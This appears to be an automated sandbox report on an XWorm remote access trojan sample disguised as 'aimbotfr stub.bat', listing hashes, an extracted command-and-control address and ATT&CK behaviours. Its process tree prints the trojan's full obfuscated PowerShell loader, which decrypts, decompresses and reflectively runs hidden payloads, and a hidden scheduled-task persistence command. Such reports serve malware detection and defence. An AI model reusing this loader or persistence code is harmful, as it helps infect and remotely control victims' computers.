xworm | c4db1679718dfb67fb33fcedced456035056f41b68fc071379d27d8bd708e6ab

Analysis

max time kernel
54s
max time network
56s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
14/11/2024, 16:11

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General

Target
aimbotfr stub.bat
Size 478KB
Sample241114-tnbvtazrev
SHA256 c4db1679718dfb67fb33fcedced456035056f41b68fc071379d27d8bd708e6ab
MD5 09c4764995d1f2e96d0a228743f2425e
SHA1 0a755c43e147141ec0e9d96d243765af66d1e8a0
SHA512 856759d72b6fff895d336acb8f86ac82ad8560f5229c1cd12baf25bf6ea9ee80035d364c69c00e66bbe9678f788a635f837032a92d3f08008a8343dcc992ff6e
SSDEEP 6144:Y5uDX7kLnB9tGFQe+6YRAFcqLw7DT8ZUXtk9clnD:Yo8LB2FQh64AFcqLw7kZ+uInD
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

80.76.49.227:9999

Mutex

g0vzRORqzebeaKQj

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/3260-49-0x0000020D31B60000-0x0000020D31B6E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
20	3260	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1716	powershell.exe
2636	powershell.exe
3260	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1716	powershell.exe
1716	powershell.exe
2636	powershell.exe
2636	powershell.exe
3260	powershell.exe
3260	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1716	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeIncreaseQuotaPrivilege	2636	powershell.exe
Token: SeSecurityPrivilege	2636	powershell.exe
Token: SeTakeOwnershipPrivilege	2636	powershell.exe
Token: SeLoadDriverPrivilege	2636	powershell.exe
Token: SeSystemProfilePrivilege	2636	powershell.exe
Token: SeSystemtimePrivilege	2636	powershell.exe
Token: SeProfSingleProcessPrivilege	2636	powershell.exe
Token: SeIncBasePriorityPrivilege	2636	powershell.exe
Token: SeCreatePagefilePrivilege	2636	powershell.exe
Token: SeBackupPrivilege	2636	powershell.exe
Token: SeRestorePrivilege	2636	powershell.exe
Token: SeShutdownPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeSystemEnvironmentPrivilege	2636	powershell.exe
Token: SeRemoteShutdownPrivilege	2636	powershell.exe
Token: SeUndockPrivilege	2636	powershell.exe
Token: SeManageVolumePrivilege	2636	powershell.exe
Token: 33	2636	powershell.exe
Token: 34	2636	powershell.exe
Token: 35	2636	powershell.exe
Token: 36	2636	powershell.exe
Token: SeIncreaseQuotaPrivilege	2636	powershell.exe
Token: SeSecurityPrivilege	2636	powershell.exe
Token: SeTakeOwnershipPrivilege	2636	powershell.exe
Token: SeLoadDriverPrivilege	2636	powershell.exe
Token: SeSystemProfilePrivilege	2636	powershell.exe
Token: SeSystemtimePrivilege	2636	powershell.exe
Token: SeProfSingleProcessPrivilege	2636	powershell.exe
Token: SeIncBasePriorityPrivilege	2636	powershell.exe
Token: SeCreatePagefilePrivilege	2636	powershell.exe
Token: SeBackupPrivilege	2636	powershell.exe
Token: SeRestorePrivilege	2636	powershell.exe
Token: SeShutdownPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeSystemEnvironmentPrivilege	2636	powershell.exe
Token: SeRemoteShutdownPrivilege	2636	powershell.exe
Token: SeUndockPrivilege	2636	powershell.exe
Token: SeManageVolumePrivilege	2636	powershell.exe
Token: 33	2636	powershell.exe
Token: 34	2636	powershell.exe
Token: 35	2636	powershell.exe
Token: 36	2636	powershell.exe
Token: SeIncreaseQuotaPrivilege	2636	powershell.exe
Token: SeSecurityPrivilege	2636	powershell.exe
Token: SeTakeOwnershipPrivilege	2636	powershell.exe
Token: SeLoadDriverPrivilege	2636	powershell.exe
Token: SeSystemProfilePrivilege	2636	powershell.exe
Token: SeSystemtimePrivilege	2636	powershell.exe
Token: SeProfSingleProcessPrivilege	2636	powershell.exe
Token: SeIncBasePriorityPrivilege	2636	powershell.exe
Token: SeCreatePagefilePrivilege	2636	powershell.exe
Token: SeBackupPrivilege	2636	powershell.exe
Token: SeRestorePrivilege	2636	powershell.exe
Token: SeShutdownPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeSystemEnvironmentPrivilege	2636	powershell.exe
Token: SeRemoteShutdownPrivilege	2636	powershell.exe
Token: SeUndockPrivilege	2636	powershell.exe
Token: SeManageVolumePrivilege	2636	powershell.exe
Token: 33	2636	powershell.exe
Token: 34	2636	powershell.exe
Token: 35	2636	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2140 wrote to memory of 1716	2140	cmd.exe	86
PID 2140 wrote to memory of 1716	2140	cmd.exe	86
PID 1716 wrote to memory of 2636	1716	powershell.exe	89
PID 1716 wrote to memory of 2636	1716	powershell.exe	89
PID 1716 wrote to memory of 4972	1716	powershell.exe	94
PID 1716 wrote to memory of 4972	1716	powershell.exe	94
PID 4972 wrote to memory of 2220	4972	WScript.exe	95
PID 4972 wrote to memory of 2220	4972	WScript.exe	95
PID 2220 wrote to memory of 3260	2220	cmd.exe	98
PID 2220 wrote to memory of 3260	2220	cmd.exe	98

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\aimbotfr stub.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4pr42IAhLNXaMsLDATuTCXnSN37MkzjWlGCxvlpI204='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mUAA0rhmn7r0Y49Br4h9Tg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NWFXD=New-Object System.IO.MemoryStream(,$param_var); $TWFke=New-Object System.IO.MemoryStream; $XkRIU=New-Object System.IO.Compression.GZipStream($NWFXD, [IO.Compression.CompressionMode]::Decompress); $XkRIU.CopyTo($TWFke); $XkRIU.Dispose(); $NWFXD.Dispose(); $TWFke.Dispose(); $TWFke.ToArray();}function execute_function($param_var,$param2_var){ $SgoJi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $obVxl=$SgoJi.EntryPoint; $obVxl.Invoke($null, $param2_var);}$HAian = 'C:\Users\Admin\AppData\Local\Temp\aimbotfr stub.bat';$host.UI.RawUI.WindowTitle = $HAian;$jwIhR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HAian).Split([Environment]::NewLine);foreach ($fbsbe in $jwIhR) { if ($fbsbe.StartsWith(':: ')) { $Eaalc=$fbsbe.Substring(3); break; }}$payloads_var=[string[]]$Eaalc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1716
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_595_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_595.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2636
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_595.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4972
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_595.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2220
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4pr42IAhLNXaMsLDATuTCXnSN37MkzjWlGCxvlpI204='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mUAA0rhmn7r0Y49Br4h9Tg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NWFXD=New-Object System.IO.MemoryStream(,$param_var); $TWFke=New-Object System.IO.MemoryStream; $XkRIU=New-Object System.IO.Compression.GZipStream($NWFXD, [IO.Compression.CompressionMode]::Decompress); $XkRIU.CopyTo($TWFke); $XkRIU.Dispose(); $NWFXD.Dispose(); $TWFke.Dispose(); $TWFke.ToArray();}function execute_function($param_var,$param2_var){ $SgoJi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $obVxl=$SgoJi.EntryPoint; $obVxl.Invoke($null, $param2_var);}$HAian = 'C:\Users\Admin\AppData\Roaming\startup_str_595.bat';$host.UI.RawUI.WindowTitle = $HAian;$jwIhR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($HAian).Split([Environment]::NewLine);foreach ($fbsbe in $jwIhR) { if ($fbsbe.StartsWith(':: ')) { $Eaalc=$fbsbe.Substring(3); break; }}$payloads_var=[string[]]$Eaalc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3260

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 299f9fcb2628833eea10626dc3888f94f104d317cb95c846ef61e3cf4521efa7
MD5 5c0923e8e7765d761022bd427d59e9ca
SHA1 7490e1b19c5662e6339a68ba67920992dbfa3d33
SHA512 a8e9a422d44ddfa8ceba2b245660e2657b3d2bd416d59dcc667baa74fcf113ec09b9b1c394aec37fe0c8aac10f938c710de3c0909db03b605097aa62569c01e1
MD5 SHA1 SHA512

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__PSScriptPolicyTest_rmsonaec.hii.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rmsonaec.hii.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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startup_str_595.bat

Path C:\Users\Admin\AppData\Roaming\startup_str_595.bat
Size 478KB
SHA256 c4db1679718dfb67fb33fcedced456035056f41b68fc071379d27d8bd708e6ab
MD5 09c4764995d1f2e96d0a228743f2425e
SHA1 0a755c43e147141ec0e9d96d243765af66d1e8a0
SHA512 856759d72b6fff895d336acb8f86ac82ad8560f5229c1cd12baf25bf6ea9ee80035d364c69c00e66bbe9678f788a635f837032a92d3f08008a8343dcc992ff6e
SSDEEP 6144:Y5uDX7kLnB9tGFQe+6YRAFcqLw7DT8ZUXtk9clnD:Yo8LB2FQh64AFcqLw7kZ+uInD
MD5 SHA1 SHA512 SSDEEP

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startup_str_595.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_595.vbs
Size 115B
SHA256 293d04791e255e990c78ff65b462f021b1c88482aa418fbddc4b6493825f8674
MD5 ca6effc9c0f67729c0e000d6d736cf55
SHA1 b9b2f2e6601a5af879fb9999d1d197292a3c4639
SHA512 c9f7293d6d1fbbc516e428c6821037f3c9237e0bd797a91d5766b2769c4b8812d43c3b0440a70b3e6205ba7a2d8b7ed9eb03126a1053e210d3089e39df9ce916
MD5 SHA1 SHA512

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memory/1716-12-0x00007FFEC64A0000-0x00007FFEC6F61000-memory.dmp

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memory/1716-14-0x000002B49A720000-0x000002B49A752000-memory.dmp

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memory/1716-13-0x000002B49A6F0000-0x000002B49A6F8000-memory.dmp

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memory/1716-0-0x00007FFEC64A3000-0x00007FFEC64A5000-memory.dmp

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memory/1716-11-0x00007FFEC64A0000-0x00007FFEC6F61000-memory.dmp

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memory/1716-1-0x000002B4FF6A0000-0x000002B4FF6C2000-memory.dmp

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memory/1716-50-0x00007FFEC64A0000-0x00007FFEC6F61000-memory.dmp

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memory/2636-16-0x00007FFEC64A0000-0x00007FFEC6F61000-memory.dmp

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memory/2636-26-0x00007FFEC64A0000-0x00007FFEC6F61000-memory.dmp

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memory/2636-27-0x00007FFEC64A0000-0x00007FFEC6F61000-memory.dmp

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memory/2636-30-0x00007FFEC64A0000-0x00007FFEC6F61000-memory.dmp

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memory/3260-49-0x0000020D31B60000-0x0000020D31B6E000-memory.dmp

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